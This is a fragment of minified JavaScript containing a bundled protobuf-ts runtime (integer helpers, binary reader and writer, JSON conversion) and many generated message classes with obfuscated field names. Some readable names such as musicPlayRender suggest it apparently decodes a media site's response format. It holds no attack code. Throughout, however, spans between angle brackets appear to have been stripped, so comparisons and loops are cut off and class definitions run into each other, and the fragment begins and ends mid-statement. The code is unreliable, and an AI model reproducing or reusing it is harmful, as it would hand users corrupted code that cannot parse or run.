this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");if(e<0)throw new Error("signed value for ulong");return new x(e,e/Fe)}throw new Error("unknown value "+typeof e)}toString(){return I?this.toBigInt().toString():ye(this.lo,this.hi)}toBigInt(){return Gi(I),I.V.setInt32(0,this.lo,!0),I.V.setInt32(4,this.hi,!0),I.V.getBigUint64(0,!0)}};x.ZERO=new x(0,0);var T=class extends me{static from(e){if(I)switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=="")throw new Error("string is no integer");e=I.C(e);case"number":if(e===0)return this.ZERO;e=I.C(e);case"bigint":if(!e)return this.ZERO;if(eI.MAX)throw new Error("ulong too large");return I.V.setBigInt64(0,e,!0),new T(I.V.getInt32(0,!0),I.V.getInt32(4,!0))}else switch(typeof e){case"string":if(e=="0")return this.ZERO;if(e=e.trim(),!Ji.test(e))throw new Error("string is no integer");let[t,n,i]=$e(e),r=new T(n,i);return t?r.negate():r;case"number":if(e==0)return this.ZERO;if(!Number.isSafeInteger(e))throw new Error("number is no integer");return e>0?new T(e,e/Fe):new T(-e,-e/Fe).negate()}throw new Error("unknown value "+typeof e)}isNegative(){return(this.hi&2147483648)!==0}negate(){let e=~this.hi,t=this.lo;return t?t=~t+1:e+=1,new T(t,e)}toString(){if(I)return this.toBigInt().toString();if(this.isNegative()){let e=this.negate();return"-"+ye(e.lo,e.hi)}return ye(this.lo,this.hi)}toBigInt(){return Gi(I),I.V.setInt32(0,this.lo,!0),I.V.setInt32(4,this.hi,!0),I.V.getBigInt64(0,!0)}};T.ZERO=new T(0,0);var Xi={readUnknownField:!0,readerFactory:l=>new Le(l)};function qi(l){return l?Object.assign(Object.assign({},Xi),l):Xi}var Le=class{constructor(e,t){this.varint64=vi,this.uint32=Ki,this.buf=e,this.len=e.length,this.pos=0,this.view=new DataView(e.buffer,e.byteOffset,e.byteLength),this.textDecoder=t??new TextDecoder("utf-8",{fatal:!0,ignoreBOM:!0})}tag(){let e=this.uint32(),t=e>>>3,n=e&7;if(t<=0||n<0||n>5)throw new Error("illegal tag: field no "+t+" wire type "+n);return[t,n]}skip(e){let t=this.pos;switch(e){case d.Varint:for(;this.buf[this.pos++]&128;);break;case d.Bit64:this.pos+=4;case d.Bit32:this.pos+=4;break;case d.LengthDelimited:let n=this.uint32();this.pos+=n;break;case d.StartGroup:let i;for(;(i=this.tag()[1])!==d.EndGroup;)this.skip(i);break;default:throw new Error("cant skip wire type "+e)}return this.assertBounds(),this.buf.subarray(t,this.pos)}assertBounds(){if(this.pos>this.len)throw new RangeError("premature EOF")}int32(){return this.uint32()|0}sint32(){let e=this.uint32();return e>>>1^-(e&1)}int64(){return new T(...this.varint64())}uint64(){return new x(...this.varint64())}sint64(){let[e,t]=this.varint64(),n=-(e&1);return e=(e>>>1|(t&1)<<31)^n,t=t>>>1^n,new T(e,t)}bool(){let[e,t]=this.varint64();return e!==0||t!==0}fixed32(){return this.view.getUint32((this.pos+=4)-4,!0)}sfixed32(){return this.view.getInt32((this.pos+=4)-4,!0)}fixed64(){return new x(this.sfixed32(),this.sfixed32())}sfixed64(){return new T(this.sfixed32(),this.sfixed32())}float(){return this.view.getFloat32((this.pos+=4)-4,!0)}double(){return this.view.getFloat64((this.pos+=8)-8,!0)}bytes(){let e=this.uint32(),t=this.pos;return this.pos+=e,this.assertBounds(),this.buf.subarray(t,t+e)}string(){return this.textDecoder.decode(this.bytes())}};function b(l,e){if(!l)throw new Error(e)}var gr=34028234663852886e22,wr=-34028234663852886e22,br=4294967295,kr=2147483647,Br=-2147483648;function v(l){if(typeof l!="number")throw new Error("invalid int 32: "+typeof l);if(!Number.isInteger(l)||l>kr||lbr||l<0)throw new Error("invalid uint 32: "+l)}function q(l){if(typeof l!="number")throw new Error("invalid float 32: "+typeof l);if(Number.isFinite(l)&&(l>gr||lnew je};function Zi(l){return l?Object.assign(Object.assign({},Yi),l):Yi}var je=class{constructor(e){this.stack=[],this.textEncoder=e??new TextEncoder,this.chunks=[],this.buf=[]}finish(){this.chunks.push(new Uint8Array(this.buf));let e=0;for(let i=0;i>>0)}raw(e){return this.buf.length&&(this.chunks.push(new Uint8Array(this.buf)),this.buf=[]),this.chunks.push(e),this}uint32(e){for(X(e);e>127;)this.buf.push(e&127|128),e=e>>>7;return this.buf.push(e),this}int32(e){return v(e),Ce(e,this.buf),this}bool(e){return this.buf.push(e?1:0),this}bytes(e){return this.uint32(e.byteLength),this.raw(e)}string(e){let t=this.textEncoder.encode(e);return this.uint32(t.byteLength),this.raw(t)}float(e){q(e);let t=new Uint8Array(4);return new DataView(t.buffer).setFloat32(0,e,!0),this.raw(t)}double(e){let t=new Uint8Array(8);return new DataView(t.buffer).setFloat64(0,e,!0),this.raw(t)}fixed32(e){X(e);let t=new Uint8Array(4);return new DataView(t.buffer).setUint32(0,e,!0),this.raw(t)}sfixed32(e){v(e);let t=new Uint8Array(4);return new DataView(t.buffer).setInt32(0,e,!0),this.raw(t)}sint32(e){return v(e),e=(e<<1^e>>31)>>>0,Ce(e,this.buf),this}sfixed64(e){let t=new Uint8Array(8),n=new DataView(t.buffer),i=T.from(e);return n.setInt32(0,i.lo,!0),n.setInt32(4,i.hi,!0),this.raw(t)}fixed64(e){let t=new Uint8Array(8),n=new DataView(t.buffer),i=x.from(e);return n.setInt32(0,i.lo,!0),n.setInt32(4,i.hi,!0),this.raw(t)}int64(e){let t=T.from(e);return pe(t.lo,t.hi,this.buf),this}sint64(e){let t=T.from(e),n=t.hi>>31,i=t.lo<<1^n,r=(t.hi<<1|t.lo>>>31)^n;return pe(i,r,this.buf),this}uint64(e){let t=x.from(e);return pe(t.lo,t.hi,this.buf),this}};var zi={emitDefaultValues:!1,enumAsInteger:!1,useProtoFieldName:!1,prettySpaces:0},Qi={ignoreUnknownFields:!1};function Hi(l){return l?Object.assign(Object.assign({},Qi),l):Qi}function er(l){return l?Object.assign(Object.assign({},zi),l):zi}var y=Symbol.for("protobuf-ts/message-type");function De(l){let e=!1,t=[];for(let n=0;n!i.includes(f))||!n&&i.some(f=>!r.known.includes(f)))return!1;if(t<1)return!0;for(let f of r.oneofs){let s=e[f];if(!nr(s))return!1;if(s.oneofKind===void 0)continue;let o=this.fields.find(a=>a.localName===s.oneofKind);if(!o||!this.field(s[s.oneofKind],o,n,t))return!1}for(let f of this.fields)if(f.oneof===void 0&&!this.field(e[f.localName],f,n,t))return!1;return!0}field(e,t,n,i){let r=t.repeat;switch(t.kind){case"scalar":return e===void 0?t.opt:r?this.scalars(e,t.T,i,t.L):this.scalar(e,t.T,t.L);case"enum":return e===void 0?t.opt:r?this.scalars(e,h.INT32,i):this.scalar(e,h.INT32);case"message":return e===void 0?!0:r?this.messages(e,t.T(),n,i):this.message(e,t.T(),n,i);case"map":if(typeof e!="object"||e===null)return!1;if(i<2)return!0;if(!this.mapKeys(e,t.K,i))return!1;switch(t.V.kind){case"scalar":return this.scalars(Object.values(e),t.V.T,i,t.V.L);case"enum":return this.scalars(Object.values(e),h.INT32,i);case"message":return this.messages(Object.values(e),t.V.T(),n,i)}break}return!0}message(e,t,n,i){return n?t.isAssignable(e,i):t.is(e,i)}messages(e,t,n,i){if(!Array.isArray(e))return!1;if(i<2)return!0;if(n){for(let r=0;rparseInt(r)),t,n);case h.BOOL:return this.scalars(i.slice(0,n).map(r=>r=="true"?!0:r=="false"?!1:r),t,n);default:return this.scalars(i,t,n,E.STRING)}}};function C(l,e){switch(e){case E.BIGINT:return l.toBigInt();case E.NUMBER:return l.toNumber();default:return l.toString()}}var we=class{constructor(e){this.info=e}prepare(){var e;if(this.fMap===void 0){this.fMap={};let t=(e=this.info.fields)!==null&&e!==void 0?e:[];for(let n of t)this.fMap[n.name]=n,this.fMap[n.jsonName]=n,this.fMap[n.localName]=n}}assert(e,t,n){if(!e){let i=ce(n);throw(i=="number"||i=="boolean")&&(i=n.toString()),new Error(`Cannot parse JSON ${i} for ${this.info.typeName}#${t}`)}}read(e,t,n){this.prepare();let i=[];for(let[r,f]of Object.entries(e)){let s=this.fMap[r];if(!s){if(!n.ignoreUnknownFields)throw new Error(`Found unknown field while reading ${this.info.typeName} from JSON format. JSON key: ${r}`);continue}let o=s.localName,a;if(s.oneof){if(i.includes(s.oneof))throw new Error(`Multiple members of the oneof group "${s.oneof}" of ${this.info.typeName} are present in JSON.`);i.push(s.oneof),a=t[s.oneof]={oneofKind:o}}else a=t;if(s.kind=="map"){if(f===null)continue;this.assert(Ai(f),s.name,f);let u=a[o];for(let[g,k]of Object.entries(f)){this.assert(k!==null,s.name+" map value",null);let m;switch(s.V.kind){case"message":m=s.V.T().internalJsonRead(k,n);break;case"enum":if(m=this.enum(s.V.T(),k,s.name,n.ignoreUnknownFields),m===!1)continue;break;case"scalar":m=this.scalar(k,s.V.T,s.V.L,s.name);break}this.assert(m!==void 0,s.name+" map value",k);let B=g;s.K==h.BOOL&&(B=B=="true"?!0:B=="false"?!1:B),B=this.scalar(B,s.K,E.STRING,s.name).toString(),u[B]=m}}else if(s.repeat){if(f===null)continue;this.assert(Array.isArray(f),s.name,f);let u=a[o];for(let g of f){this.assert(g!==null,s.name,null);let k;switch(s.kind){case"message":k=s.T().internalJsonRead(g,n);break;case"enum":if(k=this.enum(s.T(),g,s.name,n.ignoreUnknownFields),k===!1)continue;break;case"scalar":k=this.scalar(g,s.T,s.L,s.name);break}this.assert(k!==void 0,s.name,f),u.push(k)}}else switch(s.kind){case"message":if(f===null&&s.T().typeName!="google.protobuf.Value"){this.assert(s.oneof===void 0,s.name+" (oneof member)",null);continue}a[o]=s.T().internalJsonRead(f,n,a[o]);break;case"enum":let u=this.enum(s.T(),f,s.name,n.ignoreUnknownFields);if(u===!1)continue;a[o]=u;break;case"scalar":a[o]=this.scalar(f,s.T,s.L,s.name);break}}}enum(e,t,n,i){if(e[0]=="google.protobuf.NullValue"&&b(t===null,`Unable to parse field ${this.info.typeName}#${n}, enum ${e[0]} only accepts null.`),t===null)return 0;switch(typeof t){case"number":return b(Number.isInteger(t),`Unable to parse field ${this.info.typeName}#${n}, enum can only be integral number, got ${t}.`),t;case"string":let r=t;e[2]&&t.substring(0,e[2].length)===e[2]&&(r=t.substring(e[2].length));let f=e[1][r];return typeof f>"u"&&i?!1:(b(typeof f=="number",`Unable to parse field ${this.info.typeName}#${n}, enum ${e[0]} has no value for "${t}".`),f)}b(!1,`Unable to parse field ${this.info.typeName}#${n}, cannot parse enum value from ${typeof t}".`)}scalar(e,t,n,i){let r;try{switch(t){case h.DOUBLE:case h.FLOAT:if(e===null)return 0;if(e==="NaN")return Number.NaN;if(e==="Infinity")return Number.POSITIVE_INFINITY;if(e==="-Infinity")return Number.NEGATIVE_INFINITY;if(e===""){r="empty string";break}if(typeof e=="string"&&e.trim().length!==e.length){r="extra whitespace";break}if(typeof e!="string"&&typeof e!="number")break;let f=Number(e);if(Number.isNaN(f)){r="not a number";break}if(!Number.isFinite(f)){r="too large or small";break}return t==h.FLOAT&&q(f),f;case h.INT32:case h.FIXED32:case h.SFIXED32:case h.SINT32:case h.UINT32:if(e===null)return 0;let s;if(typeof e=="number"?s=e:e===""?r="empty string":typeof e=="string"&&(e.trim().length!==e.length?r="extra whitespace":s=Number(e)),s===void 0)break;return t==h.UINT32?X(s):v(s),s;case h.INT64:case h.SFIXED64:case h.SINT64:if(e===null)return C(T.ZERO,n);if(typeof e!="number"&&typeof e!="string")break;return C(T.from(e),n);case h.FIXED64:case h.UINT64:if(e===null)return C(x.ZERO,n);if(typeof e!="number"&&typeof e!="string")break;return C(x.from(e),n);case h.BOOL:if(e===null)return!1;if(typeof e!="boolean")break;return e;case h.STRING:if(e===null)return"";if(typeof e!="string"){r="extra whitespace";break}try{encodeURIComponent(e)}catch(o){o="invalid UTF8";break}return e;case h.BYTES:if(e===null||e==="")return new Uint8Array(0);if(typeof e!="string")break;return _i(e)}}catch(f){r=f.message}this.assert(!1,i+(r?" - "+r:""),e)}};var be=class{constructor(e){var t;this.fields=(t=e.fields)!==null&&t!==void 0?t:[]}write(e,t){let n={},i=e;for(let r of this.fields){if(!r.oneof){let a=this.field(r,i[r.localName],t);a!==void 0&&(n[t.useProtoFieldName?r.name:r.jsonName]=a);continue}let f=i[r.oneof];if(f.oneofKind!==r.localName)continue;let s=r.kind=="scalar"||r.kind=="enum"?Object.assign(Object.assign({},t),{emitDefaultValues:!0}):t,o=this.field(r,f[r.localName],s);b(o!==void 0),n[t.useProtoFieldName?r.name:r.jsonName]=o}return n}field(e,t,n){let i;if(e.kind=="map"){b(typeof t=="object"&&t!==null);let r={};switch(e.V.kind){case"scalar":for(let[o,a]of Object.entries(t)){let u=this.scalar(e.V.T,a,e.name,!1,!0);b(u!==void 0),r[o.toString()]=u}break;case"message":let f=e.V.T();for(let[o,a]of Object.entries(t)){let u=this.message(f,a,e.name,n);b(u!==void 0),r[o.toString()]=u}break;case"enum":let s=e.V.T();for(let[o,a]of Object.entries(t)){b(a===void 0||typeof a=="number");let u=this.enum(s,a,e.name,!1,!0,n.enumAsInteger);b(u!==void 0),r[o.toString()]=u}break}(n.emitDefaultValues||Object.keys(r).length>0)&&(i=r)}else if(e.repeat){b(Array.isArray(t));let r=[];switch(e.kind){case"scalar":for(let o=0;o0||n.emitDefaultValues)&&(i=r)}else switch(e.kind){case"scalar":i=this.scalar(e.T,t,e.name,e.opt,n.emitDefaultValues);break;case"enum":i=this.enum(e.T(),t,e.name,e.opt,n.emitDefaultValues,n.enumAsInteger);break;case"message":i=this.message(e.T(),t,e.name,n);break}return i}enum(e,t,n,i,r,f){if(e[0]=="google.protobuf.NullValue")return null;if(t===void 0){b(i);return}if(!(t===0&&!r&&!i))return b(typeof t=="number"),b(Number.isInteger(t)),f||!e[1].hasOwnProperty(t)?t:e[2]?e[2]+e[1][t]:e[1][t]}message(e,t,n,i){return t===void 0?i.emitDefaultValues?null:void 0:e.internalJsonWrite(t,i)}scalar(e,t,n,i,r){if(t===void 0){b(i);return}let f=r||i;switch(e){case h.INT32:case h.SFIXED32:case h.SINT32:return t===0?f?0:void 0:(v(t),t);case h.FIXED32:case h.UINT32:return t===0?f?0:void 0:(X(t),t);case h.FLOAT:q(t);case h.DOUBLE:return t===0?f?0:void 0:(b(typeof t=="number"),Number.isNaN(t)?"NaN":t===Number.POSITIVE_INFINITY?"Infinity":t===Number.NEGATIVE_INFINITY?"-Infinity":t);case h.STRING:return t===""?f?"":void 0:(b(typeof t=="string"),t);case h.BOOL:return t===!1?f?!1:void 0:(b(typeof t=="boolean"),t);case h.UINT64:case h.FIXED64:b(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let s=x.from(t);return s.isZero()&&!f?void 0:s.toString();case h.INT64:case h.SFIXED64:case h.SINT64:b(typeof t=="number"||typeof t=="string"||typeof t=="bigint");let o=T.from(t);return o.isZero()&&!f?void 0:o.toString();case h.BYTES:return b(t instanceof Uint8Array),t.byteLength?Vi(t):f?"":void 0}}};function ue(l,e=E.STRING){switch(l){case h.BOOL:return!1;case h.UINT64:case h.FIXED64:return C(x.ZERO,e);case h.INT64:case h.SFIXED64:case h.SINT64:return C(T.ZERO,e);case h.DOUBLE:case h.FLOAT:return 0;case h.BYTES:return new Uint8Array(0);case h.STRING:return"";default:return 0}}var ke=class{constructor(e){this.info=e}prepare(){var e;if(!this.fieldNoToField){let t=(e=this.info.fields)!==null&&e!==void 0?e:[];this.fieldNoToField=new Map(t.map(n=>[n.no,n]))}}read(e,t,n,i){this.prepare();let r=i===void 0?e.len:e.pos+i;for(;e.post.no-n.no)}}write(e,t,n){this.prepare();for(let r of this.fields){let f,s,o=r.repeat,a=r.localName;if(r.oneof){let u=e[r.oneof];if(u.oneofKind!==a)continue;f=u[a],s=!0}else f=e[a],s=!1;switch(r.kind){case"scalar":case"enum":let u=r.kind=="enum"?h.INT32:r.T;if(o)if(b(Array.isArray(f)),o==fe.PACKED)this.packed(t,u,r.no,f);else for(let g of f)this.scalar(t,u,r.no,g,!0);else f===void 0?b(r.opt):this.scalar(t,u,r.no,f,s||r.opt);break;case"message":if(o){b(Array.isArray(f));for(let g of f)this.message(t,n,r.T(),r.no,g)}else this.message(t,n,r.T(),r.no,f);break;case"map":b(typeof f=="object"&&f!==null);for(let[g,k]of Object.entries(f))this.mapEntry(t,n,r,g,k);break}}let i=n.writeUnknownFields;i!==!1&&(i===!0?c.onWrite:i)(this.info.typeName,e,t)}mapEntry(e,t,n,i,r){e.tag(n.no,d.LengthDelimited),e.fork();let f=i;switch(n.K){case h.INT32:case h.FIXED32:case h.UINT32:case h.SFIXED32:case h.SINT32:f=Number.parseInt(i);break;case h.BOOL:b(i=="true"||i=="false"),f=i=="true";break}switch(this.scalar(e,n.K,1,f,!0),n.V.kind){case"scalar":this.scalar(e,n.V.T,2,r,!0);break;case"enum":this.scalar(e,h.INT32,2,r,!0);break;case"message":this.message(e,t,n.V.T(),2,r);break}e.join()}message(e,t,n,i,r){r!==void 0&&(n.internalBinaryWrite(r,e.tag(i,d.LengthDelimited).fork(),t),e.join())}scalar(e,t,n,i,r){let[f,s,o]=this.scalarInfo(t,i);(!o||r)&&(e.tag(n,f),e[s](i))}packed(e,t,n,i){if(!i.length)return;b(t!==h.BYTES&&t!==h.STRING),e.tag(n,d.LengthDelimited),e.fork();let[,r]=this.scalarInfo(t);for(let f=0;fSe},{no:9,name:"n1F9",kind:"message",T:()=>_e},{no:10,name:"n1F10",kind:"message",T:()=>z}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posMe}])}create(e){let t={serviceTrackingParams:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posAe}])}create(e){let t={service:0,params:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posVe},{no:153515154,name:"n6F153515154",kind:"message",T:()=>ee},{no:49399797,name:"n2F49399797",kind:"message",T:()=>P}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posP}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posve}])}create(e){let t={m3F1:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posKe}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posz}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posGe}])}create(e){let t={n3F1:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posQ},{no:51845067,name:"n4F51845067",kind:"message",T:()=>Je},{no:221496734,name:"m4F221496734",kind:"message",T:()=>Xe}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posH}])}create(e){let t={n5F1:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posYe}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posqe},{no:10,name:"n5F10",kind:"message",T:()=>He}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posee}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posZe}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posze}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posQe}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posH}])}create(e){let t={n5F1:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.poste},{no:2,name:"n8F2",kind:"message",T:()=>ne},{no:3,name:"n8F3",kind:"message",T:()=>et}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.postt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posnt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posit}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.poste},{no:2,name:"n8F2",kind:"message",T:()=>ne}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posrt},{no:5,name:"n10F5",kind:"message",T:()=>at}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posft}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posst}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posot}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.poslt},{no:2,name:"originText",kind:"scalar",T:9}])}create(e){let t={n13F1:[],originText:""};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posut},{no:8,name:"a1F8",kind:"message",T:()=>ct}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.poswt},{no:125354411,name:"musicPlayRender",kind:"message",T:()=>dt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posP}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posht}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.pospt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posyt}])}create(e){let t={items:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posFt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posmt},{no:2,name:"name",kind:"scalar",T:9}])}create(e){let t={name:""};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posgt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posbt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posP}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.poskt},{no:7,name:"s1F7",kind:"message",T:()=>Bt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posP}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posQ},{no:49399797,name:"n2F49399797",kind:"message",T:()=>P}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posTt}])}create(e){let t={t1F2:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posRt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posNt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posIt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posWt}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posxt},{no:6,name:"g1F6",kind:"message",repeat:1,T:()=>Ot}])}create(e){let t={g1F4:[],g1F6:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posie}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posie}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posPt}])}create(e){let t={g3F1:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posY},{no:117501096,name:"labelRender",kind:"message",T:()=>Y}])}create(e){let t={};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let r=i??this.create(),f=e.pos+t;for(;e.posUt}])}create(e){let t={runs:[]};return globalThis.Object.defineProperty(t,y,{enumerable:!1,value:this}),e!==void 0&&p(this,t,e),t}internalBinaryRead(e,t,n,i){let 